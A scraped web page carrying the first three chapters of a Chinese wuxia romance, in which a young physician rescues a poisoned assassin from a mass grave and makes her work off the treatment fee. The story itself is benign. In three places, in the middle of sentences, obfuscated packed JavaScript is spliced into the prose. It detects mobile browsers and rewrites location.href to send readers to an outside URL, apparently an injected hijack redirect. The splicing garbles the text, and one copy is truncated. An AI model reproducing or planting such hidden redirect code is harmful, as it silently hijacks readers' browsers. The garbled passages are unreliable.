《杀手从良指南》 1. 没逝,能活 雨势之大,下得像天被生生撕开一道豁口。 莫絮语蹲在乱葬岗边缘,水流顺着蓑衣边缘不断滴落,在脚边积成小小的水洼。 她一手牢牢举着油纸灯笼,昏黄的光在狂风骤雨里摇摇晃晃,勉强撑开一小片昏暗的视野,另一手则伸进冰冷泥泞的土里,不断摸索翻找,嘴里的声音被雨声吞掉大半。 “鬼枯藤,鬼枯藤,医书里写得轻巧,伴腐尸而生,吸阴气而长,能起死回生,可怎么不写清楚这地方味道有多冲……” 灯笼光晃过眼前景象,散落的白骨半掩在泥里,半腐的破布被雨水泡得发胀,几只被惊扰的老鼠在尸堆边缘窸窣逃窜,消失在黑暗深处。 莫絮语皱紧鼻子,强忍着不适,手指在泥里不停翻动,直到触到一截质地坚硬、暗紫色纹路的枯藤,她眼睛骤然一亮,连忙小心翼翼扒开周围泥土。 就是这个。 暗紫色藤条紧紧缠绕在一具半掩的尸骸上,她掏出小药铲,正要小心将藤条完整挖下,动作却在一瞬间猛然顿住。 那具尸骸……好像动了一下。 莫絮语呼吸一屏,下意识将灯笼凑近,雨水混着泥水流过那张看不清五官的脸,衣襟早已被血浸透,大片深色在雨水中缓缓晕开。 但胸口微弱的起伏,却在一遍遍提醒她这是活人。 “咦?”她下意识轻呼出声:“还有气啊?” —— 闻不言知道,自己离死只差一口气。 冰冷的雨点狠狠砸在脸上,刺骨寒凉,却远不及身体里不断蔓延、蚕食生机的阴寒更让人绝望。 乱葬岗的腐臭与腥气钻进鼻腔,她反而觉得荒诞般贴切,正好配她这一身洗不净的血,配她这具早就该腐烂在黑暗里的躯壳。 废物。 她在心底冷冷骂自己。 任务失败,便是组织弃子。 那杯明知有问题的毒酒,她还是喝了,好在师妹提前暗中塞来的假死药骗过了验尸之人,让她没有当场气绝。 他们像丢一团垃圾般,将她扔到这乱葬岗,以为万事大吉。 可假死药效褪去,重伤未愈,余毒未清,她不过是从一个死地,换到了另一个死地。 也好。 死在这里,烂在这里,被野狗分食,被虫蚁啃噬,才是她这样双手沾满鲜血之人应有的结局。 她杀过太多人。 有的罪该万死,有的……无辜可怜。 那些不该死的面孔,总是在深夜里一遍遍浮现,睁着空洞绝望的眼睛,静静望着她。 雨声里,忽然闯入了别的声音。 脚步声踩在泥水里的轻响,由远及近,闻不言残存的意识瞬间绷紧。 是组织的人折回来补刀? 也好,给个痛快。 她拼命想睁开眼,眼皮却重如千斤,眼前只有一片模糊的昏黄光晕缓缓靠近。 一个年轻女声带着几分讶异响起,没有杀意,没有冷漠,只有纯粹的意外。 “咦?还有气啊?” 不是组织的人。 闻不言心中微动,却连扯出一个冷笑的力气都没有。 正常人谁会在这种雨夜,闯到乱葬岗这种地方?不是疯子,就是别有图谋。 无所谓了,她已经快死了,是谁都一样。 最后一丝意识沉入无边黑暗。 莫絮语蹲在对方身边,眉头紧紧拧起。 医者本能让她第一时间伸手探向脉门,微弱到几乎难以捕捉的跳动,却清晰地宣告着生命尚存。 她迅速检查伤势,心脏一点点沉下去。 胸前一道深可见骨的刀伤,边缘发黑,明显淬毒;左肩胛骨一道箭伤,箭头断在体内;四肢遍布淤伤与浅伤,失血严重,脉象之中还有一股诡异邪气四处冲撞。 伤成这样,竟然还没死,命不是一般的硬。 莫絮语心中清楚,这种伤势,这种来历,必然牵扯江湖恩怨,麻烦至极。 师父从小告诫她,江湖水深,是非难料,独自行医,切莫多管闲事,明哲保身才是长久之计。 可看着眼前这张年轻得过分、却沾满血泥、满是死寂的脸,她实在无法转身就走。 人还没死,她若见死不救,与杀人何异? 灯笼光静静照在对方脸上,紧闭的眼睫沾着雨水,苍白嘴唇抿成一条冷硬直线,即便昏迷不醒,浑身都透着一股生人勿近的凛冽。 莫絮语叹了口气。 “算你运气好,撞上我了。” 她放下药篓,脱下湿透的蓑衣盖在对方身上,勉强挡住一部分风雨,又从药篓里翻出一只小瓷瓶,倒出两粒棕褐色的护心丹。 这是师父给她的保命良药,数量极少,珍贵无比。 她捏开对方紧抿的下颌,将丹药小心送入,再托住下巴,按压喉部穴位,助她咽下。 “咽下去,这药可不便宜,别浪费。” 丹药入喉,不过片刻,微弱到随时会断的脉息,稍稍稳了一些。 莫絮语不再耽搁,迅速将鬼枯藤小心挖起,收好入药篓,然后看着地上的人,犯了难。 要把这么一个成年女子背回她三里外的山脚小院,谈何容易。 雨夜路滑,泥泞难行,对方浑身是伤,半点配合都做不到。 “我真是给自己找罪受。”莫絮语嘟囔一句,却还是蹲下身,一点点将人往背上挪。 对方毫无力气,浑身冰冷沉重,莫絮语费了九牛二虎之力,才勉强将人背起,一手还要提着灯笼与药篓,深一脚浅一脚地往山下挪。 雨水打湿她的头发,贴在脸颊上,背上的重量压得她弯了腰。 “喂,你可别死在我背上啊。”她喘着气开口,一半是累,一半是为了驱散心底不安:“不然我还得把你背回来,亏到姥姥家。” “看你这一身伤,肯定是江湖仇杀吧?” “不过你也够惨的,被人扔在这种地方.......” 她絮絮叨叨,一路自言自语。 背上的人在颠簸中轻轻动了一下,发出一声几不可闻的闷哼。 “有反应就好,忍着点,快到了。” 莫絮语咬牙坚持:“我家虽然破,好歹有屋顶,有药,但能不能活,全看你自己。” 雨势渐渐小了下去,天边透出一抹灰蒙蒙的亮,山脚下,一间篱笆围起的小院终于出现在视野里。 莫絮语精神一振,咬紧牙关加快脚步,推开院门,径直将人背进屋放在诊床上。 她点起油灯,屋内瞬间亮堂起来。 她又打了一盆热水,拿干净布巾,一点点擦去对方脸上与身上的血污。 泥泞褪去,一张苍白却清俊凌厉的脸渐渐显露:眉峰锋利,鼻梁高挺,唇色淡白,即便昏迷,也透着一股冷冽难近的气质。 “长得倒是不错,可惜一身生人勿近的气场。”莫絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305397|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语小声嘀咕。 她剪开黏在伤口上的衣物,目光落在那些新旧交错的伤疤上,心头微震。 新伤惨烈,旧疤密布,遍布全身,一看就是常年在刀光剑影里挣扎的人。 “是个练家子啊.....” 她不再多言,专心处理伤势。 清创、剜除腐肉、取出断箭、敷药、包扎,处理到胸前刀伤时,伤口边缘细微的灼烧痕迹,明显是药物腐蚀所致。 “这毒有点棘手,还好有刚采的鬼枯藤做药引,不然真不一定能救回来。” 她一边包扎,一边自言自语:“你可得争点气,我这些药材,都不是大风刮来的。” 等所有伤口处理完毕,天已大亮,雨彻底停了,晨光透过窗纸洒进屋内。 莫絮语累得腰酸背痛,浑身发软,她给对方盖好薄被,拖了把椅子坐在床边,静静望着那张苍白的脸。 “还不知道你叫什么,算了,等你醒了再说——要是能醒的话。” 她伸手探了探对方额温,依旧冰凉,却比在乱葬岗时好了不少。 她起身去厨房熬药,不多时,苦涩药香便弥漫在小小的院落里。 药熬好,她端回房间,想喂对方喝下,可伤者牙关紧咬,药汁根本灌不进去,顺着嘴角不断流下。 “真不配合。”莫絮语挑眉,想了想,取来一根细竹管,一端浸入药碗,一端轻轻撬开牙缝,慢慢吹气,将药汁一点点送入对方喉中。 好不容易喂完药,她擦干净对方嘴角,没好气地瞪了昏迷中的人一眼:“等你醒了,诊金加倍,少一文都不行。” 再次检查了一遍伤口包扎,确认没有渗血后,铺天盖地的疲惫瞬间涌上来。 莫絮语趴在床边,眼皮越来越重,意识渐渐模糊。 “就眯一会儿……你可别趁我睡着断气啊……”她喃喃低语,很快便沉沉睡去。 屋内安静下来,只有两人轻浅平稳的呼吸声。 窗外,被雨水洗过的山林青翠欲滴,鸟鸣清脆,新的一天真正开始。 而那个本应烂在乱葬岗的人,此刻躺在干净温暖的床榻上,伤口敷着药效强劲的药膏,护心丹与汤药之力缓缓游走全身,把原本微弱到即将熄灭的生机,正一点点重新凝聚。 ——— 闻不言在无边黑暗里浮沉。 她梦见刀,梦见血,梦见一张张死去的面孔。 身体沉重如铁,寒意刺骨。 可就在这时,一丝微弱却坚定的暖意,悄悄渗了进来,伴随着一道絮絮叨叨、不停歇的声音,听不清内容,却像一道细流,一遍遍冲刷着黑暗。 苦涩的药汁滑入喉咙,那股拖着她下坠的阴寒,竟被逼退了几分。 她拼命挣扎,终于掀开沉重的眼皮。 模糊的屋顶,干净的木梁,不是阴冷潮湿的乱葬岗。 闻不言心中一惊,猛地想坐起身,胸口瞬间炸开剧痛,眼前一黑,又重重跌回床榻。 剧烈的动静,惊醒了趴在床边的人。 莫絮语迷迷糊糊抬起头,正对上一双刚从黑暗深渊里爬出来的眼睛。 黑,深,冷,锐。 充满警惕,充满杀意,还有一丝来不及掩饰的茫然。 四目相对。 莫絮语眨了眨眼,慢慢坐直身子,脸上露出一抹带着倦意,却依旧明亮温暖的笑容。 “恭喜你,从阎王殿门口溜达回来了。” 2. 阿闷 闻不言的视线在短暂的茫然之后,迅速冷得像淬了冰的刀锋,直直落在莫絮语身上,没有半分温度。 她不动声色地扫视着这间简陋的屋子:一排药柜,角落的石制捣药臼,窗沿上晾晒着新鲜草药,简单的木桌木椅,铺着粗布床单的小床,一切都朴素得清贫。 而眼前这个笑容过于明亮、眼神里毫无阴霾的年轻女子,一身淡淡的药香,周身没有半分习武之人的凌厉,也没有江湖人的算计与戒备,干净得像山涧里一汪清泉。 医者,她瞬间做出判断。 可一个敢在暴雨深夜独闯乱葬岗、还敢把一个浑身血伤、来历不明的人背回来救治的医者,要么是蠢得不知天高地厚,要么,就是另有所图,城府深得可怕。 喉咙干涩得发疼,像是有火在灼烧,每一次呼吸,胸口包扎处都会传来阵阵闷钝的剧痛,无时无刻不在提醒她伤势的惨烈。 她下意识尝试调动内力,可丹田之内空空荡荡,那股阴寒歹毒的余毒盘踞在经脉深处,死死封住所有气力,连一丝微末气流都无法凝聚。 假死药的后遗症,重伤的虚弱,未清的奇毒,三重折磨之下,她现在连抬手握拳的力气都没有,更别提反抗或者逃离。 人为刀俎,我为鱼肉。 莫絮语仿佛全然没有察觉到她眼底冰封般的戒备,自顾自起身,活动了一下趴得发麻的胳膊,走到桌边倒了一杯温水,转身走回床边,语气自然得像是照顾过无数次的旧识。 “喉咙肯定难受得厉害,先喝点水缓缓。”她不由分说地将杯口递到闻不言唇边。 闻不言只是冷冷注视着她,苍白嘴唇紧紧抿成一条直线,半点开启的意思都没有。 莫絮语举着杯子,静静等了一会,见她始终抗拒,才放软了声音,耐心解释: “放心,没有毒,也没有迷药,我若真要害你,何必费劲把你从乱葬岗背回来,再浪费珍贵药材救你?多此一举不是?” 她说完,不等闻不言再抗拒,左手轻轻托住她的后颈,微微用力将人扶起一些,右手稳稳将水杯凑近。 没有半分强迫的粗鲁,却也没有给她拒绝的余地。 闻不言身体瞬间僵硬,浑身肌肉紧绷,可挣扎无用,反抗无力。 她沉默片刻,终究缓缓垂下眼睫,就着她的手,小口小口地啜饮起来。 温水滑过干涩喉咙,驱散着灼烧般的不适,带来一丝微弱却真切的暖意。 一杯水很快见了底。 莫絮语放下空杯,习惯性地伸手搭向她的手腕落在脉搏处,一边仔细诊脉,一边随口询问: “感觉怎么样?除了伤口疼痛,有没有头晕、恶心、胸闷的感觉?身上可还有别的异样?” 闻不言沉默以对。 她任由对方诊脉,目光冷淡,神情平静,对所有问题都置若罔闻,既不点头,也不摇头,更没有半分开口的意思,仿佛只是一具没有灵魂的木偶。 莫絮语起初只当她是伤势沉重、懒得开口,或是满心戒备、不愿交流。 可接连几句都得不到回答,她的眉头缓缓蹙了起来。 不对。 她凝神仔细感受着指下脉搏,脉象虽然虚弱浮滑,却平稳有序,脏腑机能在药物调理下稳步恢复,气血虽滞,却无致命之危,经脉之中除了残留毒邪,并无能够导致失语的瘀阻、损伤或异常。 无论是心脉、神思,还是咽喉、舌本,从脉象上看,都无大碍。 莫絮语抬起头,认真注视着闻不言浑浊而冰冷的眼睛,试探着放缓声音:“你……能听见我说话吗?若是听得见,便眨一下眼。” 闻不言静静看着她,沉默片刻,缓慢地眨了眨眼。 神智无碍,理解无误。 莫絮语心里一咯噔。 能听见,能理解,有反应,却始终不发一言。 是伤到了她未曾察觉的隐秘经络?还是那诡异奇毒有影响言语的副作用她未能识破? 若是如此,那岂不是她医术不精,出现了漏诊? 一念及此,莫絮语瞬间紧张起来,神医谷的招牌可不能砸在自己手里。 “不行,我必须再仔细查一查!” 她也顾不上对方愿不愿意配合,手指重新搭回闻不言手腕,这一次凝神静气,摒除所有杂念,全神贯注细细分辨每一丝细微脉动,不敢放过半点异常。 “奇怪……寸关尺三部脉象虽弱,但清晰可辨,心脉主神思,肺脉主气息,肾脉主纳气,并无半分失语之兆……” 她喃喃自语,眉头越锁越紧:“舌苔呢?张嘴我看看舌苔的颜色形态,或许是毒邪郁积,影响喉舌。” 闻不言直接闭上双眼,一动不动,摆明了拒绝配合。 实际上,她是被这女子突如其来的紧张与喋喋不休吵得脑仁隐隐作痛,干脆眼不见心不烦,耳不听心不躁。 “喂,你别睡啊,这可不是小事!” 莫絮语见她闭眼不理,顿时更急了,伸手捏住她的下巴,强迫她微微抬头:“就让我看一眼,确认无碍我就放心了,快!” 闻不言倏地睁开眼。 冰冷眸光如实质刀锋,直直刺向莫絮语捏着她下巴的手,目光之中的警告浓烈得莫絮语下意识松了手。 可医者的执着与责任心,终究压过了一瞬间的寒意。 她收回手,没有放弃,反而在床边来回踱步,一边走一边自言自语分析: “外伤集中在胸肩,未伤及头颅颈嗓要害……中毒虽深,但鬼枯藤针对性极强,脉象显示毒势已在消退,不可能突然失语…… 难道是惊吓过度,心神受损,导致暂时性失语?还是自幼便有隐疾,无法言语? 不对啊,我为你清理身体时,旧伤虽多,却无一处指向喉舌……” 她越想越懊恼,越想越觉得是自己学艺不精,漏诊关键病症。 片刻后,她重新坐回床边,语气严肃、郑重了许多: “姑娘,你的外伤与毒伤,我有把握慢慢治好,可若是你本就不能言语,或是此刻无法说话,是因我未能察觉,你一定要告诉我,哪怕是点头、摇头,或是用手势比划都好,医者治病,需对症下药,连病因都不清楚,便是我失职。” 闻不言看着她眼底毫不作伪的焦急与认真,竟有种想要开口的冲动。 她并非不能说话。 闭口不语,是她对自己的惩罚。 修闭口禅是她与血腥过往、与无边罪孽、与日夜纠缠的心魔划开的一道屏障,是她自我禁锢、自我赎罪的方式,非生死关头,绝不会轻易打破。 她无法解释,也不愿解释。 于是,她摇了摇头,随即再次闭上双眼,无声地告诉她:我无事,不必再追根究底。 不是病理原因,不是伤势影响,是……不想说,不愿说,不能说。 莫絮语愣了片刻,忽然想起师父临行前的叮嘱:江湖中人,多有隐秘,多有怪癖,有人因仇闭口,有人因伤缄默,不必强行追问,尊重便是。 眼前这人一身杀伐旧伤,眼神冷冽如冰,来历必然不简单,有些秘密,不愿示人再正常不过。 念及此,莫絮语长长舒了一口气,拍了拍胸口,脸上露出恍然大悟的表情: “吓死我了,还以为是我医术不到家,漏诊了大毛病,不是就好,不是就好……” 她嘀咕几句,很快收起慌乱,叉着腰,一本正经地看向床上之人。 “既然你听得懂,也能回应,那我们接下来,就得好好算一笔账了。” 她掰着手指,一本正经地算起:“你伤势极重,我为救你,用了三钱鬼枯藤,市价五十两一钱;七叶莲、地根草各二两,每样三十两、二十两; 还有我独家配制的清毒散、生肌膏、护心丹,哪一样都价值不菲,再加上人工费、护理费、住宿费、伙食费……” 她报出一串名目,最后理所当然的总结道:“粗略一算,你欠我至少五百两诊金。” 闻不言:“……” 她别说五百两,身上连半个铜板都没有。 杀手一生,身无长物。 执行任务之时,一切用度由组织供给,任务成功,方能领取相应赏金。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305398|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而她这一次任务失败,被组织定性为弃子,早已一无所有,连命都是捡回来的。 “看你这样子,就知道肯定没钱。” 莫絮语一脸“我早就料到”的表情,眼神里却没有半分鄙夷与轻视,只有理所当然的笃定。 “没关系,我们神医谷——山脚分号,向来人性化经营,没钱付诊金,可以干活抵债。” 闻不言缓缓睁开眼,目光落在她身上,有些疑惑。 “你看啊。” 莫絮语转身指向窗外:“昨夜一场暴雨,我的药圃被冲得一塌糊涂,需要重新翻土、栽种、打理; 后院柴火需要劈砍;屋顶漏雨需要修补;还有日常挑水、打扫、煎药、碾草……活儿多得是。” 她转回目光,笑眯眯地看着闻不言:“你虽然现在重伤在身,但底子极好,想必恢复速度远超常人,等你能下地行动,这些活儿就归你,等抵够五百两诊金,你随时可以离开,我绝不拦你。” 说完,她静静看着闻不言,等待回应。 闻不言沉默不语,心里却想着: 她活了这么多年,受伤、逃命、潜伏是常态,却从未有过这般经历。 以往受伤,要么独自硬扛,要么由组织医者处置,从未有人跟她算诊金,更别提干活抵债。 眼前这女子的思维方式,跳脱得让她难以理解。 可不得不承认,这个理由,给了她一个名正言顺留下的借口。 她需要时间养伤,需要时间恢复内力,需要时间清除余毒,更需要时间观察局势,判断组织是否已经察觉到她未死。 至于干活抵债…… 等她伤势痊愈,内力恢复,这小小院落,这平凡女子,又怎能拦得住她的去留。 一念至此,她缓缓点了点头。 “成交!” 莫絮语忍不住拍手,笑容灿烂得晃眼:“那你就安心留下养伤,我去给你熬药、准备吃的,对了,总不能一直姑娘姑娘地叫你,你若是不愿说真名,我便先给你起个代号,可好?” 闻不言沉默不语。 莫絮语自顾自打量她一番,越看眼睛越亮:“你冷冰冰的,又不爱说话,像个闷葫芦……干脆就叫你阿闷!暂时先用着,等你哪天愿意告诉我真名,咱们再换。” 闻不言:“……” 她直接闭上眼,权当听不见,拒绝承认这个随意又古怪的称呼。 莫絮语却当她默认,欢快地哼着不成调的小曲,脚步轻快地转身去了厨房。 小院恢复安静。 接下来几日,闻不言便以“阿闷”这个名字,在这间山脚小院暂时住了下来。 她大多数时间都在昏睡,重伤与余毒消耗了她太多生机与精力,每一次醒来,都只觉得疲惫不堪。 可每一次睁眼,几乎都能看到莫絮语的身影。 不是在药柜前捣药、碾草,就是在桌前翻看医书、记录笔记,要么就坐在床边,安安静静守着她,嘴里絮絮叨叨,说个不停。 “阿闷,今日伤口还疼得厉害吗?我给你换了药,新配方止痛效果更好。” “阿闷,尝尝这粥,我加了黄芪、红枣、当归,专门补气血,对你恢复有益。” “阿闷,你看窗外那两只鸟,从早上吵到现在,比我还能说。” “阿闷,我今日去镇上卖草药,听到一桩趣事……” 她喋喋不休,事无巨细,从天气草药说到邻里八卦,从医术心得说到山间趣事,仿佛永远有说不完的话。 闻不言从不曾回应。 她只是安静地听着,偶尔在对方换药、喂药、诊脉之时,微微配合,不再像最初那般戒备十足。 莫絮语似乎也不需要她回应,一个人便能乐此不疲撑起所有对话。 她自出师门历练,多数时间都是独自一人守着这间小院,冷清孤寂惯了。 如今捡来这么一个沉默安静的“闷葫芦”,哪怕对方从不搭理,她也觉得小院里热闹了许多,心也安稳了许多。 她是真的,怕极了安静,怕极了一个人的孤独。 3. 诊金抵扣方案 日子就在小院里不紧不慢地滑过,像每次落雨檐下滴落的水珠,一颗,又一颗。 闻不言——或者说阿闷的伤势,在莫絮语日复一日精心调理之下,以超乎寻常的速度好转。 原本足以致命的刀伤箭创,阴毒难缠的奇毒,都被硬生生从鬼门关拽了回来。 胸前狰狞刀口渐渐收拢结痂,不再时时剧痛; 肩胛处箭伤溃烂之处慢慢愈合,肿胀消退; 盘踞经脉的阴寒毒邪,在鬼枯藤与各类清毒药材作用下,一点点被拔除化解。 内力依旧滞涩不畅,可丹田深处,终于能捕捉到一丝极其微弱的气流,缓缓流转。 她清醒的时间越来越长。 大多数时候,她都只是安静靠坐在床头,目光透过半开木窗,落在院中那片被暴雨摧残后正被慢慢重新整理的药圃上,或是望向篱笆外通向深山与外界的山道上。 她在计算。 计算着伤势完全愈合的时间,计算着余毒彻底清除的时间,计算着内力能够恢复三成、五成、足以自保逃离的时间。 同时,她也在计算另一个可能。 组织清理弃子向来干净利落,斩草除根。 她这个本该烂在乱葬岗的“废物”突然消失,以息声楼的情报能力与狠辣手段迟早会察觉到异样,迟早会派人追查,迟早……会找到这里。 她像一头蛰伏在临时巢穴里的伤兽,皮毛之下,每一根神经都始终紧绷,耳朵捕捉着风吹草动、鸟鸣叶落、脚步声、说话声,还有莫絮语那永远停不下来的絮叨。 那喋喋不休的声音,明明吵闹,现在却又奇异地没有让她觉得厌烦。 “阿闷,今天该换药了。” 莫絮语端着药盘走进屋内,动作熟练地解开她胸前绷带,仔细查看伤口愈合情况,脸上露出满意的笑容: “嗯,恢复得不错,没有发炎红肿,就是以后会留下疤痕,不过别人也看不见,不打紧。” 她一边低声念叨,一边动作利落地涂上清凉舒缓的药膏,重新仔细包扎好。 闻不言垂眸,静静看着她,一言不发,任由她动作。 “对了,今日初一,是我每月固定义诊的日子。” 莫絮语收拾好药盘,语气轻快:“估计又要从早忙到晚,灶上温着粥和药,你记得按时喝,要是觉得闷得慌……” 她顿了顿,忽然意识到,让一个沉默寡言、行动不便的人自己找乐子,实在有些强人所难,便改口道:“你要是无聊,就看看窗外吧,今日天气好,阳光足,鸟儿也叫得热闹。” 她风风火火出去后,院门外很快摆上一块木牌——“届时义诊,过期不候”。 不过半柱香时间,院门外便渐渐传来人声,由稀疏变得嘈杂,排起了不算短的队伍。 闻不言缓缓挪动身体,靠近窗边,透过缝隙,静静向外望去。 排队之人,男女老少,形形色色。 有面黄肌瘦、衣衫简朴的山民农户,有拄着拐杖、步履蹒跚的老人,有怀抱啼哭孩童、满面愁容的妇人,也有几个气息、神态与寻常百姓截然不同的人。 一个腰间挎刀、太阳穴微鼓的精壮汉子,手臂缠着渗血布条,眼神警惕,不断扫视四周,浑身带着江湖草莽的戾气。 一个身着绸衫、面色倨傲的中年人,被两名仆从搀扶,不停咳嗽,对前面排队的农妇满脸不耐,颐指气使。 还有一个头戴斗笠、遮去面容的瘦削身影,安静立在队伍末尾,气息收敛得近乎虚无,与周遭环境格格不入。 都是江湖人。 闻不言眼底平静无波,心却微微一沉。 莫絮语这间小院,地处偏僻,看似隐蔽安静,可因为每月七天的义诊,早已不是无人知晓的隐秘之地。 三教九流,鱼龙混杂,只要是求医问药、图方便、付不起高价诊金之人,都有可能寻来。 这意味着,消息流通极快,也意味着,危险,近在咫尺。 息声楼的眼线、探子、杀手,遍布各地,只要有一丝风声泄露,她在这里藏身的消息,很快就会传入组织耳中。 到时候,眼前这份平静会被瞬间撕碎,而这个毫无防备、一心救人的女子,会被一同拖累。 她静静看着院中。 莫絮语搬了桌椅坐在树下,换上一身素色布裙,长发利落挽起,脸上挂着温和明亮的笑容,驱散着病患心中的愁闷与不安。 “大家不要急,排好队,一个一个来,我都会尽力医治。”她从容不迫,有条不紊。 那挎刀汉子轮到之时,粗声粗气,只说自己在山中被野兽所伤。 莫絮语只是淡淡看了一眼伤口,便摇头:“这不是野兽爪痕,边缘有溃烂灼烧痕迹,是淬了毒的兵器所伤,而且不止一种毒素。” 汉子脸色骤变,支支吾吾,难以自圆其说。 莫絮语却没有继续追问,只淡淡道:“毒不难解,日后小心。” 她快速清创、敷药、包扎,又包了几包内服解毒药粉,只收了极少的药材本钱。 汉子接过药包,神色复杂地看了她一眼,抱了抱拳,匆匆离去。 那绸衫中年人则麻烦许多。 他嫌弃等待太久,嫌弃院舍简陋,嫌弃莫絮语太过年轻,言语之间满是傲慢与不屑,不断呵斥抱怨。 “你到底行不行?镇上多少名医都束手无策,你一个黄毛丫头,别不是骗人的吧?若是耽误了我的病情,你担待得起?” 莫絮语脸上笑容不变,指尖稳稳搭在他腕上,片刻之后,慢条斯理开口:“您这是肝火郁结,痰热壅肺,加之饮食无度、夜不安眠所致。 之前所用方药多是温补清润,方向不对,自然无效,我为你施针疏泄肺热,再开一剂清肝泻火之方,不过——” 她抬眼,目光清亮,不卑不亢:“这病三分药,七分养,您若继续大鱼大肉、动辄暴怒,便是华佗再世,也难保不再反复。” 中年人被她说得脸色一阵青一阵白,想发作,却又顾忌病痛,最终只能冷哼一声,催促她尽快施针开药。 莫絮语施针手法稳、准、快,不过片刻,中年人原本急促剧烈的咳嗽便渐渐缓和,脸色也红润了些许。 离开之时,他虽依旧端着架子,却老老实实付了诊金,再无之前的傲慢跋扈。 至于队伍末尾那戴斗笠之人,从头到尾一言不发,只默默伸出手腕。 莫絮语诊脉时间稍长,眉头微蹙,低声叮嘱:“阁下内息紊乱、阴寒沉积、旧伤根深蒂固,非一日可愈。 我先为你施针暂缓痛楚,再开一方温养经脉之药,切记不可动用内力,不可受寒受潮。” 斗笠人微微颔首,依旧沉默。 莫絮语不再多问,专心施针医治。 结束之后,那人放下几枚铜钱,悄无声息转身离去,很快消失在小径尽头。 闻不言将这一切,尽收眼底。 她不得不承认,莫絮语的医术确实精湛,远超同龄人。 她对寻常百姓耐心细致,温和体贴;对江湖人隐秘伤情点到即止,不探人隐私;对跋扈傲慢之人,不卑不亢,分寸得当。 她似乎真的在坚守医者仁心的信念,守在这山脚一隅,竭尽全力救治每一个找上门的人。 可这,恰恰是最让闻不言觉得荒谬、烦躁,乃至隐隐不安的地方。 这女子,就像一团过于明亮、温暖、毫无防备的火焰,就这样毫无遮掩地燃烧在暗流涌动、豺狼环伺的山林边缘。 她救治的人里,有可怜无辜的百姓,也有身负秘密的江湖人,有刀头舔血的亡命之徒,甚至……可能藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305399|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着息声楼的探子与杀手。 她难道不知江湖险恶?难道不明白她无条件的善意,随时可能引来杀身之祸? 她的师门,她的长辈,怎么放心让她独自一人,这样毫无防备地在外面历练? 闻不言靠在窗边,胸口愈合的伤口传来一阵细微的痒痛,心底竟泛起一丝极其陌生的烦躁与异样。 好刺眼。 这团过于干净温暖的光,实在太刺眼。 像她这样活在黑暗、血腥、杀戮里的人,根本不该靠近,更不该沾染。 她静静看着莫絮语送走最后一位病患,看着她揉着僵硬脖颈,收拾桌椅药箱,嘴里依旧哼着轻快小调。 蠢,太蠢了。 像她这样活法,太容易死了。 “阿闷!你能坐起来啦!” 莫絮语一抬头,正好看见窗边的身影,眼睛瞬间一亮,放下手中东西,快步走了进来,凑到她面前,上下打量一番,脸上露出真切的欣喜: “看来恢复得真的很不错,脸色都好多了!今日有没有按时喝药?有没有觉得哪里不舒服?” 闻不言点了点头。 “那就好。”莫絮语放心地拍拍手,像是忽然想起什么,眼睛一转,脸上露出几分狡黠与期待,凑得更近一些,语气带着几分讨好:“对了阿闷,我跟你商量个事呗?” 闻不言抬眼,示意她直说。 “你看啊,你伤势恢复得越来越好,可体内余毒未清,经脉也需要长期温养调理。” “我这几日根据你的脉象、体质、毒邪特性,反复调整优化药方,理论上,清毒恢复效果应该会比现在好上很多。” 她顿了顿,故意拖长语调。 闻不言心中莫名升起一丝不妙的预感。 “但是,是药三分毒,尤其是多种药材配伍之后,细微差别、药性反应,都需要精准把控。” 莫絮语一脸认真,眼神灼灼地盯着闻不言: “所以,我现在缺一个试药的人!” “你看,你体质异于常人,对药性敏感度极高,又是最贴合这个药方的人,试药反馈最直接准确,反正你本来也要吃药,帮我试试新方子,咱们一举两得,多好!” 她怕闻不言拒绝,连忙补充保证:“放心放心!我以神医谷传人的名誉担保,绝对安全,最多……嗯,最多就是轻微腹泻,无伤大雅!” 怕她还不答应,莫絮语咬牙抛出重磅筹码:“只要你答应试药,每试一次,我就给你减免一部分诊金!早日抵完,你也能早日自由,怎么样?” 闻不言:“……” 她看着眼前这双亮晶晶、满是“物尽其用”光芒的眼睛,忽然无比清醒地意识到—— 在息声楼的追杀找上门之前,她很有可能先被这位胆子极大的话痨神医试药试出点别的毛病来也说不定。 她下意识想摇头拒绝。 可对上莫絮语那双亮得惊人、清澈热烈、写满“快答应快答应”的眼睛,那股让她浑身不自在的暖意又一次浮现。 习惯了黑暗、冰冷、背叛、杀戮的人,面对这样毫无杂质的光亮与信任,竟会下意识地想要避开。 更离谱的是,在她自己都完全没反应过来之前,她鬼使神差地点了一下头。 “太好了!” 莫絮语瞬间欢呼出声,差点蹦跳起来,脸上绽开的笑容,比窗外天边最后一抹晚霞还要灿烂耀眼: “阿闷你放心,我分寸拿捏得死死的,绝对不会把你试出问题!” 闻不言静静看着她欢呼雀跃的模样,闭上眼,掩去眼底连自己都未曾察觉的无奈与妥协。 